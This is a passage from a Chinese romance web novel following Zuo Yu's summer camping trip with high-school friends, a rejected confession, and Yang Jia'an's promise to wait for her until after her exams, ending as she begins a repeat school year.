【AAA防盗窗定做：亲亲，这边建议这种话选择私聊】
左榆原本还因为猜想杨嘉安七夕要出去约会而暗自神伤，此刻已然转换到期待朋友到来的激动心情。
到了周五上午，补习完毕后，左榆拿着手机上陶然他们定的酒店地址，以及自己查到的坐车路线向杨嘉安询问。
“我下午去这里，你能不能帮我看一下这样坐车对不对？”
杨嘉安疑惑地看了左榆一眼，瞥了
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一眼她手机上的地址，“去酒店？”
“嗯，我有几个朋友来看我，他们下午就到了，住这家酒店，所以我下午也过去。另外，你能不能推荐一些好玩的地方给我们，他们会在这里玩三天，哦对了，后面三天我要请假。”左榆龇牙笑道。
“小地方能玩的不多，户外的话只有山和水，你们可以去露营。”
“露营听起来不错！”左榆极其有兴趣，连忙拿起手机在四人小群里征求大家的意见。
“晚上不回来吗？”
“嗯，我等他们回去了再回来。我们一起两个女生两个男生，刚好可以住两间房。”
“男生？”杨嘉安的心一惊，脱口问道。
“对啊，我高中同学。”左榆一点没发觉杨嘉安此刻的情绪变化，完全沉浸在自己的兴奋之中。
“我下午送你过去？”
“啊，不用麻烦你啦，坐过两次车了，我应该没问题。”
“那你自己小心，有什么事的话给我打电话。”
接下来的大半天，包括晚上，杨嘉安心里总是想着左榆，做任何事都心不在焉的，给左榆发了两条无关紧要的微信，但都没有收到回复。
第二天上午，杨嘉安坐车去了市里。他今天跟人约了午饭，不过对象不是林毓敏，而是他妈妈。
前一天晚上，杨妈妈让他选一个吃饭的地方，他满脑子都是左榆，最后选择了上次跟左榆看电影的那间商场。没料到的是，左榆和朋友们中午也在这间商场吃饭。
商场有七夕活动，所以顾客尤其多，每家食肆都有很多人在外面排队等候，所以杨嘉安和妈妈一吃完饭就出来了。
刚走出餐厅，杨嘉安就看到在对面夹娃娃的左榆，也看到了站在左榆旁边的男生。左榆弓着身子在夹娃娃，男生一手拿着一杯奶茶站在旁边等待。
杨嘉安看得出神，旁边杨妈妈推了推他，问：“看到同学了？”
“嗯。”
“行，那我先走了，你去找同学玩儿吧。”
“嗯，妈妈再见。”
杨嘉安马上二十一岁，但在长辈面前，总是很乖。看着妈妈下楼后，他才往左榆那边走去。
左榆玩得专注，丝毫没发现靠近的杨嘉安，直到杨嘉安拍了拍她的脑袋。这个动作让站在旁边的张星辰有些不爽，看向杨嘉安的眼神中全是敌意。
左榆扭头，看到是杨嘉安，“你怎么也在这里？”她兴奋道，但转念一想，他今天似乎是要跟林毓敏约会，又往左右看了看，“怎么就你一个人？”
“我刚跟我妈一起吃饭，她回去了。”
原来是跟妈妈一起吃饭，不是跟林毓敏约会。左毓的心情顿时明朗起来。
“原来如此，介绍一下，这位是我的高中同学张星辰，还有两个去买东西去了，等他们来了再跟你介绍。对了，你有具体的露营地方推荐吗？”
杨嘉安顿了顿，说：“我朋友家开了一个营地，设施风景都还不错，要不，我带你们去？”
“好呀！能不能订今晚，他们后天早上一早就要回去了。”
“我打个电话问问。”
杨嘉安走开打电话的时候，张星辰略带防备地问了一句：“他是谁啊？”
“我外婆邻居家的哥哥，T大的高材生，厉害着呢！”
看到左榆说话时眼里的光，张星辰的眸子却有些黯淡了。
5. 第 5 章
杨嘉安去打电话时，陶然和宋浩然也回来了。
“鱼，我刚刚看到一个好帅的男生，就在那边打电话。”陶然说着，想拉左榆过去看看。
打完电话的杨嘉安刚好折返回来，“就是他！是不是超帅啊？”陶然压着声音但难掩她的激动之情，“过来了，快闪。”
“定好了，现在就可以过去。”杨嘉安径直走到了两人面前。
在陶然震惊的眼神中，左榆向她介绍了杨嘉安，在听到杨嘉安是T大的学生时，陶然的眼中更添了一丝崇拜。
“你管管你家陶然，她都被迷得七荤八素了。”
宋浩然没说什么，张星辰倒是酸溜溜起来。
“你们先回酒店收拾一下，我一会儿过去酒店找你们。”杨嘉安说。
“好。”
几人出了商场就分开行事，左榆四人回到了酒店，杨嘉安回去了自己家。
在酒店收拾行李时，陶然不停地问着一些关于杨嘉安的问题。
“鱼，没想到你这个暑假吃这么好……”
“成绩好也就罢了，长得还这么帅，怎么我就没遇到呢……”
“他有没有女朋友？”
……
刚开始，左榆还耐心回答陶然的每一个问题，但到后面实在受不了她这副花痴的表情。她拿起手机，摄像头对准陶然。
“你干吗？”
“把你这副花痴的模样拍下来给宋浩然看看。”
“行了行了，我不问了还不行。”
四人收拾好行李后就在酒店大堂等候，大约过了二十分钟，杨嘉安来了，让左榆感到吃惊的是，他是开车来了，开的还是一辆看起来很贵的商务车。
“不好意思，让大家等久了。”杨嘉安打开后备箱，好让大家放行李。
“原来你会开车啊？”
看到杨嘉安从车上下来的瞬间，左榆才有了一种杨嘉安比她大三岁的实感，之前只是觉得他跟她一样都是学生。
“嗯，高考那年就考了驾照，放心。”杨嘉安说着，将左榆的行李放到了后备箱。
“谢谢。”
左榆准备上车时，却被杨嘉安拉住了胳膊。
“坐前面，帮我看看导航。”他说。
“哦，好。”
杨嘉安帮左榆打开门，等待她坐好后又关好门。
张星辰看到了他们的小动作，心里很不是滋味。高一第一次一见面，他对左榆一见钟情，开始了长达三年的暗恋。没有选择表白，是因为他知道在这三年的时间里读书才是最重要的，他可以等。
从高考结束的那一刻起，他就在计划应该什么时候表白。在左榆去外婆家之前，他有那么几次的机会可以表白，可是他没有把握住。他没想到左榆会被她妈妈送到外婆家，更没有想到在她会在她外婆家遇到杨嘉安。
强烈的危机感袭来。
张星辰独自坐在最后一排，一个半小时的车程，他的视线没有离开过副驾驶上的左榆。他觉得自己不可以再等了。
营地在群山中央的一处平地，能看到远山和竹林，还有一条不宽不窄的小溪，帐篷小木屋依水而建，无论是夏风吹过时是竹涛声还是潺潺的溪水声，都非常治愈。
杨嘉安定了三间小木屋，三间木屋是并排着的，左榆和陶然住一间，张星辰和宋浩然住一间，他自己住一间。
他们到达营地的时候已经是傍晚，恰好营地今日有七夕活动，短暂休息片刻后，几人加入了活动。
活动是在一块草坪上，搭了一个小舞台和几块天幕，挂了不少彩灯，暖场的乐队在唱着缠绵悱恻的情歌，氛围感十足。左榆大致看了下，现场大概有二十多人，有些人很明显能看出来是情侣，应该也有一些互相暧昧着男女。
“欢迎大家来参加今晚的七夕特别活动，既然是七夕，我想问问大家敢不敢玩点刺激的。”
暖场音乐结束后，一位高个子的男生上台主持活动。他的话刚说完，台下的人就接话起哄，“敢！”
“好，那我先邀请在座的单身男女生上来。”
主持人的话刚落，就有人站起来往舞台走去。陶然看了左榆一眼，笑嘻嘻道：“走，我们也上去。”
左榆并不太想，因为她不清楚是什么样刺激的活动，她还在犹豫时，陶然却拉着她站起来，就要往舞台走。突然，两只手分别抓住了陶然和左榆。
抓住陶然的人是宋浩然，抓住左榆的人是杨嘉安。
“你凑什么热闹。”宋浩然将陶然拉回椅子上。
左榆也被杨嘉安拉了回来，“坐在这里看就行了。”
陶然朝宋浩然撇了撇嘴，表情虽不快，但还是老老实实坐好了。
十分钟后，左榆庆幸自己被杨嘉安给按住了，台上那些人临时组成了CP，根据主持人的设置好的题目一起完成一些挑战，当中还有隔着纸巾亲吻的动作。她不敢想象如何自己上台了，该如何应对。
这些刺激的游戏一次次点燃现场的气氛，或许，对于那些互相暧昧着的人来说，这些游戏能够捅破他们中间的窗户纸，没准过了今晚就成了真正的情侣。
活动在八点多的时候结束，左榆刚想问陶然想不想吃点宵夜，扭头却发现陶然已经被宋浩然给拽走了。
“回去吧？”杨嘉安问。
“嗯。”
从活动场地走回住的小木屋大概需要五六分钟的时间，杨嘉安和左榆漫步在夏夜中，装点木屋的彩灯一闪一闪，小溪的流水声似乎变小了，大概是怕打扰了夜色。
“还好你刚刚拉住了我，没让我上台，不然我会在台上当场爆炸。”左榆回想起来依然心有余悸。
杨嘉安笑了笑，“如果你真的上台了，我也会上台。不过，你会选我吗？”
“那肯定选你，选熟人总比选陌生人要好吧。”左榆似乎并没有意会杨嘉安话中的意思。
“我的意思是……”杨嘉安想补充却突然停顿，“算了，没事。”
快走到小木屋时，左榆看到夜色中有人走来，待走近后才发现是张星辰。
“你晚上怎么没有去参加活动？”左榆问。
“身体不舒服，不想去。”张星辰说话时，眼光却不时瞟到杨嘉安身上。
“啊？哪里不舒服，现在有没有好……”
“我有话想对你说。”张星辰打断左榆的话。
“什么话？”
“换个地方？”
左榆下意识看了看杨嘉安。
“去吧。”杨嘉安笑道。
张星辰也不知道该去哪里，他
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带着左榆在营地里转了一圈又一圈。最后，他们还是来到了刚刚举办活动的地方，这里的桌椅还没收，两人在一个角落的位置坐了下来。
“你怎么啦？”左榆见张星辰一路上沉默不语，与之前的他判若两人，怕他身体还是不舒服，“是哪里不舒服？”
“这里。”张星辰说着，指向自己的胸口，“很难受。”
左榆挠了挠脑袋，不知道该怎么接话。
“我喜欢你很久了，你知道吧？”
左榆没料到张星辰会这么直白地开始话题。
说不知道是假的，高中这三年，张星辰对她很好，她起初只是觉得这是朋友之间正常的好，直到耳边出现了很多声音，每次她在学校遇到什么事，身边的同学第一反应就是找张星辰来解决，这让她又感觉这似乎跟普通朋友不太一样。后来，陶然告诉她，张星辰暗恋她，原话是：“他暗恋你，不，人尽皆知的事应该不算是暗恋，是明恋。”
那一刻，左榆有些不知所措，她是喜欢跟张星辰交朋友的，她也不明白这种喜欢算不算是男女之间的喜欢。
“这很简单，”陶然曾经给她出了个辨别的方法，“情侣之间少不了亲密接触吧，比如Kiss之类的，你就想一想，你对张星辰有没有这方面的欲望。”
这个方法对于当时的左榆来说实在是太超前了，但左榆还是认真思考了一分钟，答案是“没有”。
“我不知道该怎么说，我很珍惜这三年的友情，你、陶然，还有宋浩然，有时候我觉得我的高中生活因为有你们三个的陪伴过得很精彩。”
“只有友情吗？”张星辰注视着左榆，眼神急切且热烈。
“暂时……应该……是吧。”
“那就是说，以后我还有机会？”
“我……如果可以的话，一直做朋友可以吗？如果你觉得不可以的话也没关系。”
张星辰沉默了。
冗长的等待后，他说：“朋友做了三年，做够了，以后我都不想跟你做朋友。”
左榆沉默。
“好，我尊重你的决定，但是我还是要谢谢你。”
张星辰没有再说什么，起身独自离开了。
“小杨同学，我叫你来帮我搬东西的，你傻站在这里干吗？”
在距离左榆不远的一棵树下，杨嘉安站在那里，他被朋友叫来帮忙搬桌椅，没想到刚到这里就看到了左榆和张星辰。刚才他们的对话，他也都听到了。
“抱歉，我可能没时间帮你了，下次请你吃饭。”杨嘉安难压嘴角上扬的弧度，敷衍了朋友几句后，朝左榆走去。
左榆看着张星辰背影，心里有些惆怅，她并不舍得失去一个朋友，但如果成为陌生人能比现在的情况更好一些，那么她别无选择。
“咳咳。”杨嘉安靠近时刻意咳了两声。
“你怎么来了？”左榆惊道。
“被朋友拉来做苦力，但现在不用干了。你怎么了，好像不开心？”
“我觉得我好像辜负了别人，有些内疚。”
“如果尊崇了自己的内心，眼下的决绝才是对他最好的。”杨嘉安说着，抬头看了看天空，“今晚的星星很亮，我带你去看星星？”
“去哪里看？”
“跟我走。”
6. 第 6 章
杨嘉安带左榆来到溪边一小块的草地上，两人席地而坐。
营地原本的光源虽不多，也能看到天上的星星，但视线会受到树枝的遮挡，没有那么开阔。杨嘉安带左榆来的地方，视线没有任何遮挡，左右也没有光源，抬头看向天空的时候，星星更加明亮起来。
“你知道哪里是银河吗？”左榆抬头认真寻找着，“现在是不是已经看不见银河了？我记得我小时候在外婆家看过银河，但时间过得太久了，后来我也没再看到过，你说是不是我记错了？”
原来你还记得一点。
杨嘉安淡笑，“那你还记得小时候是跟谁一起看的银河吗？”
左榆仔细想了想，但记忆非常模糊，她实在想不起来。
“银河的方向在那边，”杨嘉安指了一个方向，说话时身体往左榆这边靠了靠，“今天的云层有点厚，所以看不清楚。”
两人的肩膀碰触到一起，左榆感觉杨嘉安的声音就在自己耳边，他的气息包裹住了她，仿佛她只要轻轻往后靠一靠就会闯进杨嘉安的怀里。
杨嘉安继续给左榆讲天上的星星，这颗是什么星，那颗是什么星，看着他信手拈来的样子，左榆不禁感叹他的脑子里到底装下了多少知识，人与人之间的差距怎么就这么大呢。
“还有那颗星星，有一个非常浪漫的故事，想不想听？”
“嗯。”
杨嘉安的声音很好听，左榆本来听得入神，却在目光不经意间停留在他的侧脸上时，脑子变得空洞起来。黑暗中，杨嘉安侧脸的线条更加凌厉，更加吸引人。
左榆突然想起陶然说过的那个辨别是不是喜欢一个人的方法，后知后觉，她的脸红温了，因为有那么一霎那间，她有一种想亲杨嘉安一口的冲动。
难道这就是喜欢了吗？
杨嘉安讲完了，左榆却还没回过神来。他扭头看向她时，正好对上她痴痴的目光。
两人四目相对，都没有说话。下一秒，杨嘉安突然往前倾了一下身子，左榆的心脏砰砰乱跳，他却停在了恰当的位置。
“不要用这样的眼神去看一个男生。”杨嘉安轻轻拍了拍左榆的脑袋，又揉了揉她的头发，“走吧，该回去了。”
“嗯。”
杨嘉安先站起来，随后朝还坐在草地上的左榆伸出手。左榆迟疑了片刻后，将手放在了他的掌心。
他是掌心暖暖的。
他们回到小木屋的时候，恰好被屋内的张星辰看到，他负气地将手中的东西丢到一边，平躺在了床上。
“怎么了？”宋浩然问。
“凭什么三年的时间比不上不到一个月，”张星辰的气来得快去得也快，“你说如果我早点表白，是不是又是另外一种结果。”
宋浩然顿了顿，“我不知道该怎么安慰你，我觉得对一个产生喜欢的感觉大概跟时间的长短没有关系。”
“所以你的意思是，她不会喜欢我，就算她暑假里没有认识那个男的，她也不会喜欢我吗？”
“我不是这个意思，但今天的结果已经产生了，再去想其他可能也没有意义。倒是你，做不成情侣就真的不做朋友了吗？”
张星辰双手垫在脑后，看着天花板，冗长的沉默后，淡淡说道：“不了，我怕我控制不住。”
宋浩然叹了口气，没有再说什么安慰的话，因为他知道自己此刻并不能共情张星辰，毕竟半个小时前，他和陶然在没有任何技巧以及紧张到手抖的情况下成就了彼此的初吻。
“什么？初吻？”
另一边，陶然在左榆回来后就迫不及待跟她说了这事，没想到她的反应比当事人还兴奋和激动。
“是什么感觉？”左榆将前面发生的事都抛之脑后。
“我当时太紧张了，没反应过来……”陶然本来没觉得害羞，左榆这么一问，她再一回想，竟然瞬间脸红了。
“多久？”
“什么多久？”
“持续多久？”
陶然越是回味，脸就越红。
“哎呀，你别问这么细。”她说完，将脑袋埋在了枕头下面，脸颊还在持续升温。
“行了行了，我不问了。”左榆笑意难掩，“我洗澡去了。”
第二日，几人又在营地附近玩了半日，午饭后回程。
张星辰不愿意见到左榆和杨嘉安，一直在房内睡觉，午饭还是宋浩然去小木屋里把他揪出来硬逼他吃的。左榆跟他说话，他不理会，全程都没有看左榆一眼。左榆不习惯两个人变成这样的关系，但她无能为力。
到达酒店后，左榆原本打算在酒店住一晚，第二天送他们上车后再回外婆家。没想到的是，张星辰执意将车牌改签到当天晚上，任凭陶然和宋浩然怎么劝说都无济于事。无奈两人只好一起改签了车票，跟张星辰一起回去。
杨嘉安提出送他们去高铁站，但被张星辰拒绝了。
“不必麻烦了，我自己叫车。”
“那好吧。”
左榆原本打算送他们去车站，但现在这个氛围，她觉得自己不去可能会比较好。
“谢谢你们来看我。”左榆抱了抱陶然，眼眶突然就红了。她很感激他们来看她，造成这种局面她很难过，似乎是她做错了什么。
“没事的，”陶然感受到了左榆的情绪，“不怪你，等你回去了我们再约。”
“嗯。”说着，眼泪就掉下来了。
张星辰叫的车来了，他拿着自己的行李头也不回地离开了。陶然又安慰了左榆几句，才跟宋浩然一起跟了上去。
看着车子缓缓离开，左榆眼泪掉得更凶了。杨嘉安站到她旁边，一只手搭在她的肩膀上，轻轻安抚她。
过了好一会儿，左榆的情绪才逐渐稳定。
“我先送你到车站，你在车站等我。我把车还给我妈，再跟你一起回去。”
“嗯。”
左榆在车站等了一会儿后，却见杨嘉安又开着他妈妈的车回来了，但是副驾驶上坐着一个人。
“你好。”车窗玻璃缓缓下降，一个看起来非常有气质的女人朝左榆露出笑容。
“你……你好。”
“上车吧。”
左榆使劲儿朝驾驶座看去，确定是杨嘉安后才上车。
“这是我妈。”
左榆上车后，杨嘉安一边开车一边向她介绍。
“阿……阿姨好。”
左榆整个人处于懵的状态，她没想到这么突然就见到了杨嘉安的妈妈，更没想到杨嘉安的妈妈这么年轻漂亮。
“比小时候更漂亮了。”杨妈妈笑道。
“嗯？”左榆纳闷。
“你小时候去你外婆家的时候，我们已经见过了。你跟嘉安那时候还拍过合照。”
“啊？”左榆震惊。
“嘉安没跟你说啊？”
“没有。”
“那张照片不知道丢哪里去了，”杨妈妈像是自言自语，又像是对杨嘉安说话，“不知道还能不能找到。”
杨嘉安从后视镜看到左榆茫然又疑惑的样子，嘴角不自觉扬起。
左榆本以为杨嘉安妈妈是跟他们一起回去，但没想到车开到水泥路车站那里后，杨嘉安让左榆跟他一起下来车，他妈妈又开车返回了市里。
“你妈妈不跟我们一起回去吗？”左榆问。
“她只是送我们回来，她明天又要出门了。”
“她刚刚说我们小时候一起拍过合照，你没跟我提起过。”
他们走在笔直的水泥路上，今天是阴天，气温没前几日高，偶尔有风吹来，算是凉快了不少。
“你都不记得了，我提了也没意义。”他笑道。
“怎么没意义，这证明我们小时候就认识了，不是最近才认识的。”
“然后呢？”
然后……
左榆的话到嘴边，又吞了下去。她想说，他们从小就认识，比她认识张星辰的时间还要久，如果要说先来后到的话，张星辰才是后到的。
“没有然后。”她说，“我妈昨天晚上给我发微信，说再过一周就来接我。”
杨嘉安听到这句话，脸上的笑容凝固了，眉头微微蹙了蹙。
“走吧。”他说，像是在催促左榆快回家，又像是在
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跟一周后的左榆告别。
接下来的每一天，在给左榆补习的时候，杨嘉安常常看着左榆，就开始失神。他有很多话想对左榆说，但是又不知道从何开始，第一天见到左榆时的场景时常浮现在脑海，如果时间可以回到那一天该多好。
这天，左榆正解着题，杨嘉安去了洗手间，他的手机就放在左榆旁边，突然有电话打进来，她瞥了一眼来电显示，看到上面的名字时，心里咯噔了一下，是林毓敏。
听到杨嘉安回来的声音，左榆立刻收回眼神，装作不在意地继续解题。杨嘉安看到了来电，拿起手机犹豫片刻后对左榆说：“你继续写题，我出去接个电话。”
“嗯，你去吧。”左榆表面答得轻巧，心里却闷得慌。
杨嘉安说是接个电话，但左榆题都写完了，他还没回来。左榆也没听到外面有打电话的声音，于是，她借着去倒水喝的幌子下楼了一趟，刚下到一楼，就看到了站在门口的杨嘉安和林毓敏。
不知道林毓敏是不是看见了左榆，几乎是在同时，她猛然抱住了杨嘉安。这一幕自然落入了左榆的眼帘。
“你这是干什么？”杨嘉安想推开林毓敏，但林毓敏抱得牢牢的。
“就抱一下，像从前那样，可以吗？”林毓敏的头埋在杨嘉安胸前，闷声道，“我以后不会再烦你。”
杨嘉安放下了原本想要推开林毓敏的手。
左榆并没有听到林毓敏说的话，她只是看到杨嘉安任林毓敏抱着，一分钟，两分钟……她转身上楼后，林毓敏才放开双手。
杨嘉安回来的时候，左榆已经收拾好了东西准备回去。原本她今天是在外婆家补习的，早知道会看到这一幕，她就不该来杨奶奶家。
“题都写完了？”杨嘉安问。
“嗯。”左榆敷衍应了一句。
“给我看看。”
左榆将写好的题放在了桌上，“我先回去了。”说完，她逃也似的离开了杨奶奶家。
三天后，左榆就要回去，原本还能再补习两次，但后面两天，杨嘉安按时来左榆外婆家时，左榆借口说身体不舒服，让杨嘉安回去了。杨嘉安以为左榆真的不舒服，给她发了好几条微信询问不舒服的原因，但左榆都没有回复。
到了这个时候，杨嘉安才意识到似乎不对劲。
离开外婆家的前一天晚上，左榆无论是玩手机还是干别的，都没办法定下心来，索性决定早些休息，可躺到床上后，她翻来覆去都睡不着。晚上十一点了，她依然没有一丝睡意，最后干脆又爬起来，打算去楼顶的天台坐一坐。
杨嘉安奶奶家的构造与左榆外婆家的构造相仿，也是二层的住宅，楼顶是供晾晒衣服的天台。左榆上到天台时，下意识往杨嘉安奶奶家的房子看去，看到熟悉的身影让她始料不及。
“这么巧？”杨嘉安笑道。
四周本是很黑的，但是杨嘉安那边的天台上点了一盏灯，不是很亮，但足以让左榆看清楚杨嘉安的脸。
“嗯，巧了。”左榆说着，往杨嘉安那边走去。
两家的天台中间大概隔了大约五六米的距离，左榆和杨嘉安隔着距离相视而望。
“明天什么时候走？”
“早上就走了。”
“一路顺风。”
“嗯。”
说完这几句话后，两人都沉默了。
左榆看到杨嘉安的眸子里闪着光，在黑夜中格外明亮。
“那我先下去休息了，明天还要早起。”
“嗯，去吧。”
他就这样让她走了，左榆心底掠过失望。马上就要分别了，他真的一点想对她说的话都没有吗？
“小鱼！”左榆转身准备下楼时，杨嘉安轻轻唤了声。
左榆转头看过去，杨嘉安却只是说了一句“好好学习”。
回到房间后，左榆鼻子一酸，眼眶就红了，也不知道是因为什么，就是觉得心里有些委屈。她在想，杨嘉安对她，是不是没有一丝不舍。
就在她胡思乱想时，手机响了一声，有人发来了微信。
【Y：下来，我在门口等你。】
7. 第 7 章
左榆下楼，见外面漆黑一片，开了门前的一盏小灯。
杨嘉安斜靠在铁门外，低头看着手机，画面停留在左榆的微信对话框。昏黄的灯光半打在他的身上，身影半明半暗。
左榆拖着步子朝他走过去，杨嘉安听到脚步声，立即站直身体，抬头看向她。
“什么事？”左榆担心开门声吵醒屋内睡觉的人，动作放轻了许多。
“有些话想跟你说。”
杨嘉安想进门，但左榆将他往外推了推，自己也跟着走到了铁门外。
两人面对面站在院墙下，院子里的灯光透过围墙上的铁栅栏，温柔地照着他们。
季夏过后，乡下的夜晚已经褪去了炎热，偶尔夜风吹过，夹着一丝丝预告入秋的凉意。
“什么话？你说。”
“回去以后，好好学习。”
“嗯，我知道，你已经说过了。”
“考到海市的学校来。”
“嗯？”
T大在海市，左榆是知道的。她不是没有想过明年填报志愿的时候填海市的大学，她甚至还幻想过自己如果也能考上T大该有多好，但也只是想想而已，毕竟T大对于她来说是遥不可及的存在。
“考到海市的学校来。”杨嘉安重复了一遍，声音比刚才略大了一些。
“我尽量吧。”左榆嘴上答得勉强，内心却是欣喜万分。
“还有，”杨嘉安继续说，“高考前不要谈恋爱。”
“啊？”左榆愣了一下，没料到杨嘉安会说到这个，“那考完后能谈？”
杨嘉安没说话，如夜般温柔的眸子望着左榆，深情且专注，看得左榆有些不好意思。
“没其他事的话，我就先上去了。”
夜色本就很撩人，左榆担心继续站下去，自己一时冲动说出什么不该说的话来，急于想要结束这种旖旎的气氛。
她要走时，却被杨嘉安拉住了手腕，随后又被杨嘉安轻轻拉入了怀中。
夜风带着泥土青草香吹来，撩拨着左榆的心，她清晰地听到了杨嘉安的心跳声，以及在她耳边的呼吸声。
杨嘉安双手环抱着她，力度刚好，不紧也不松，但足以圈住一个人的心。
“考完后，跟我在一起。”
杨嘉安说话时，胸腔微微震动，让左榆感觉这句话不是从他口中说出，而是从他的心里发出的。
见左榆久久没有回答，杨嘉安担心是自己的话吓到了她，这才松开了手。
“好吗？”他补充了一句。
左榆没有回答，是因为她整个人还处于懵的状态，她在想，杨嘉安的这句话是不是表白的意思。
“那你真的会等我吗？”
左榆问得认真，扑闪的大眼睛看着杨嘉安，看得他心都快化了。
“嗯。”杨嘉安笑着揉了揉左榆的脑袋。
这夜的风很好，这夜的月很好，这夜的人，是记忆中永恒的美好。
上高铁后，列车还没出发，左榆就开始想念杨嘉安，她打开微信，想给杨嘉安发点什么，可措辞许久不知发什么好，她似乎还不是很清楚自己跟杨嘉安之间的关系，过于亲密的话，她不敢发。
【Y：上车了吗？】
左榆在犹豫时，刚好收到了杨嘉安发来的信息。
【小鱼干儿：嗯，上车了】
【Y：一路顺风，到家后跟我说一句。】
【小鱼干儿：好乖巧.JPG】
经过将近四个小时的车程，左榆终于和妈妈一起回到了广市。
到家后，左榆做的第一件事就是给杨嘉安发微信报平安。
【小鱼干儿：我们到家啦。】
她等了好一会儿，见杨嘉安没有回复，又在与陶然他们的小群里发了条相同的信息。发完信息，她才注意到，张星辰不知在什么时候退了群。
【AAA防盗窗定做：约约约，马上约起来！】
陶然是第一个回复的。
【AAA防盗窗定做：明天就约吧，我们大后天就要去学校报道了。】
【小鱼干儿：好呀。】
【浩然：我没问题。】
【小鱼干儿：好羡慕你们马上就读大学了，我还得在炼狱度过一年。】
【AAA防盗窗定做：一年时间很快的，你好好学习，等明年考到我们的学校来。坏笑】
【小鱼干儿：我才不打扰你们，祝你们俩春梦了无痕。】
陶然和宋浩然报了同一所大学，张星辰报了另外一所大学，他们三个人的学校都在榕城。
左榆在群里聊得正欢时，杨嘉安回了信息。她满心欢喜点开，却只看到冷冰冰的“嗯”字，心里多少有些失望，难道他一点儿都不会想她吗？
在她胡思乱想时，杨嘉安又发来了一条微信。
【Y：刚刚在收拾行李，明天返校。】
左榆的敏感神经瞬间被治愈。
【小鱼干儿：我朋友过两天也要去学校报道，他们学校在榕城，离海市好像还挺近的。好羡慕，我也好想快点上大学，哭.JPG】
【Y：答应我的，别忘了。】
左榆知道他说的是报读海市的大学的事。
【小鱼干儿：没忘。】
“什么事这么高兴呢？”左榆妈妈正在整理行李，见左榆抱着手机傻笑。
“没……没什么。”左榆立刻收起笑脸回到了房间。
才关上门，笑容再次挂在脸上。
左榆看到张星辰退了群，本以为他不会出现在第二天的小聚上。
在奶茶店里，三人坐下没多久，还没点好喝的，张星辰姗姗来迟。
“你们先坐一会儿，我跟浩然去点单。”陶然立即将位置让给了张星辰，自己拉着宋浩然去点单处。
宋浩然不解，“手机上就能点。”
陶然白了他一眼，迅速拉着他撤离了。
张星辰没有坐在陶然让出来的座位上，而是坐在了左榆对面，坐下后就开始看手机。
左榆看了他一眼又一眼，最终实在没忍住：“你退群了？”
“嗯。”张星辰应了一声，但始终没抬头。
气氛有些尴尬，左榆不知道该说些什么，准备去陶然那边看看。她刚站起来，张星辰装作不经意问了句：“你跟那个老男人在一起了？”
“什么老男人？”左榆一下没理解过来，后知后觉猜到他说的是杨嘉安。
在一起？
“应该没有吧。”她语气有些迟疑，不知道这样说对不对。
“应该？没有？”左榆的回答让张星辰觉得新鲜，“有就有，没有就没有，什么叫应该没有。”
“在一起了就是情侣关系吧？”
“废话。”
“那……就是没有。”左榆想到分别前杨嘉安说的话，高考前不要谈恋爱，所以，她现在跟杨嘉安应该算不上是谈恋爱的关系。
张星辰听完，心情莫名好了起来，嘴角扬起一丝让人不易察觉的笑容：“怎么？高材生看不上你？”
左榆本来对张星辰有所愧疚，听他这样说，愧疚顿时消失得没
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影了：“对对对，他看不上我这种连大学都考不上的人，行了吧？”
“我不是这个意思。”张星辰意识到自己的话说过了。
左榆懒得再理他。
下午，他们四个人约了一个剧本杀，本来就不爱动脑的左榆从开始到结束都处于晕晕乎乎的状态。
“以后剧本杀、密室逃脱这种局就不要叫我了。”走出游戏馆，左榆的脑子才清醒一些，“我感觉我的脑子都要爆了。”
陶然偷笑，“行，下次玩不需要带脑子的游戏。”
原本，他们打算吃了晚饭再回去，但陶然临时有事，宋浩然送她回去了，只剩下左榆和张星辰。
“你要跟我一起吃饭吗？”张星辰垂眼看着左榆，语气中带着一丝挑衅的味道。
左榆出门前跟妈妈说了晚上不回家吃饭，恰好爸爸妈妈晚上也有饭局，“那随便吃点什么吧，不然回家还得自己做。”
正是饭点，家家食肆都爆满，他们走了一路才找到一家顾客不是很多的店，简单吃了点。
食肆的对面是江边公园，吃完饭后，张星辰提出去江边走走再回家。左榆有些迟疑，自从张星辰跟她表白后，只要是跟张星辰独处，她就会觉得尴尬，好像再也找不到从前在高中时的那种放松的感觉。
“就当为我送行，陪我走走吧。”张星辰观察着左榆的表情，“开学后我们半年都见不到面了。”
“嗯。”
傍晚的江边，晚风吹落晚霞，天空美得不像话，来散步的人有很多，也有拿着吉他弹唱的年轻人在直播，来来往往的人都要掏出手机拍下几张天空的照片。广市一年到头寒冷的日子很少，夏季的炎热往往可以持续到十一月，凑巧左榆回来的这两天降温，气温宜人。
“你的大学有我们高中的同学吗？”
两人并肩走着，左榆在感到尴尬之前，找了一个话题。
“没有。”
“那你当初怎么不报陶然他们那所大学，好歹也有个伴儿。”
“我才不要打扰他们的二人世界。放心吧，以我的社交能力，用不着一天时间就能交到朋友。”
“也是，你这么轻浮，跟路过的狗都能说上几句。”在奶茶店的“仇”得报了。
“我这不是轻浮，是开朗。”
“你开朗，你还退群。”
说到退群，张星辰脸上的笑容有些微微僵住，大概是想到了七夕那天的事。
“我们真的一点可能都没有吗？”他表情突然认真。
与此同时，左榆的手机响了起来，她忙在包里翻手机，没听清张星辰的话。
左榆拿出手机时，张星辰瞥见她手机上面的来电显示，备注是“杨”。
“喂。”左榆看了一眼张星辰，侧了侧身体才接通电话，不知怎的，有一种心虚的感觉。
杨嘉安：“吃饭了吗？”
左榆：“吃过了。”
杨嘉安：“在外面吗？”
左榆：“嗯，在江边散步。”
杨嘉安：“我到学校了。”
左榆：“好。”
杨嘉安：“跟爸爸妈妈一起散步吗？”
左榆：“呃……不是，是跟同……同学。”
电话那端沉默了片刻。
杨嘉安：“好，那你们玩着，先挂了。”
左榆：“嗯。”
挂掉电话后，杨嘉安一身疲累躺在宿舍的床上，直觉告诉他，此刻跟左榆一起散步的人是张星辰，心底翻涌起不具名的感觉，堵、慌，以及疯狂的想念。
8. 第 8 章
“你刚刚说了什么？我没听清。”左榆挂掉电话后问。
“没什么。”张星辰没有再重复问那句话。
两人沿着江边走了大约十几分钟，左榆提出回家，在跟杨嘉安打完电话后，她的心思就不在散步上了，莫名有一种心慌的感觉。张星辰执意要送她回家，但她最终还是拒绝了。
左榆在家里休息了两天，中间去机场送了陶然和宋浩然，随后正式开始了为期一年的复读。妈妈给她联系的复读学校在当地比较有名，班上的同学大部分是没考到理想的学校才复读的，像左榆这样单纯因为没考上的人比较少。
同桌林静是前者。开学第一天，在休息聊天时，左榆得知林静是因为没考上T大才来复读的，她的目标非常清晰，一定要考上T大。在被问及明年的高考目标时，左榆显得迷茫，她只想过考到海市去，但具体考什么学校，她并没有一个清晰的目标。
